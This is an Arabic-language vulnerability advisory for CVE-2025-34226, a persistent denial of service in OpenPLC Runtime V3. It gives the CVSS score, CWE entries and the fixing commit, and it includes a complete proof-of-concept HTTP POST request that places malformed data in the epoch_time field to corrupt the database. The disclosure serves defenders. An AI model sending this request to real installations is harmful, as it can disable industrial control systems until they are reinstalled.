
يعاني OpenPLC Runtime من ثغرة أمنية من نوع رفض الخدمة المستمر (DoS) في المسار /upload-program-action.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2025-34226 |
| يتأثر | OpenPLC Runtime V3 |
| تم الإصلاح في | (الالتزام) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| الخطورة | عالية |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (عالية) |
| CWE | CWE-664 تحكم غير ملائم في مصدر طوال عمره، CWE-20 التحقق غير الملائم من المدخلات |
يعاني OpenPLC Runtime من ثغرة رفض خدمة مستمرة (DoS) في نقطة النهاية /upload-program-action.
بتعديل الوسيط epoch_time أثناء تحميل البرنامج، يمكن لمستخدم مصادَق بصلاحيات منخفضة إفساد قاعدة البيانات الخلفية.
هذا الإفساد يعطل في البداية الصفحات الحرجة، ويمنع في النهاية بدء تشغيل runtime بالكامل، مما يؤدي فعليًا إلى تعطيل التطبيق حتى إعادة تثبيته.
نقطة النهاية /upload-program-action تقبل حقل epoch_time الذي يُكتب مباشرةً في قاعدة البيانات دون تحقق.
عند تعيين هذا الحقل إلى قيمة مصمَّنة أو غير منطقية (مثل 1758627838 أو بيانات مشوهة)، يقوم OpenPLC بتخزين حالة غير متسقة.
عند إعادة تحميل أو إعادة تشغيل runtime، يستعلم التطبيق الصف الفاسد ويواجه كائن NoneType → تعطل قاتل (TypeError: 'NoneType' object is not subscriptable).
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs/programs وسترى أنه لم يعد يعملاكتشفه: Eyodav